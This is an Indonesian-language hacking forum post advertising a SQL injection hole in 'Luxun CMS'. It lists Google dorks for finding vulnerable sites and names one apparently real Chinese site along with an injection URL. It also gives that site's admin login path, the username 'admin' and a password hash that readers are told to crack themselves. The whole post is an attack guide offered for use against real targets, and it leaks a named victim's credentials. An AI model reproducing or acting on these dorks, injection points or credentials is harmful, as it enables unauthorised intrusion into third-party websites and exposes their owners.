Luxun CMS SQL Injection Vuln

Hey Bro..
ga sengaja ane nemu ini di http://1337day.com/

langsung aja yah

google dork :
- "powered by luxun"
- inurl:product.php?classid=
- inurl:news.php?classid=


- inurl:service.php?classid=
dan masih banyak lagi :p

yg udah jadi :

http://www.chenhe.cn/product.php?classid='29
http://www.chenhe.cn/admin/
Username : admin
password : 96e79218965eb72c92a549dd5a330112 ( crack sendiri )

thanks to: hacker-newbie , 1337day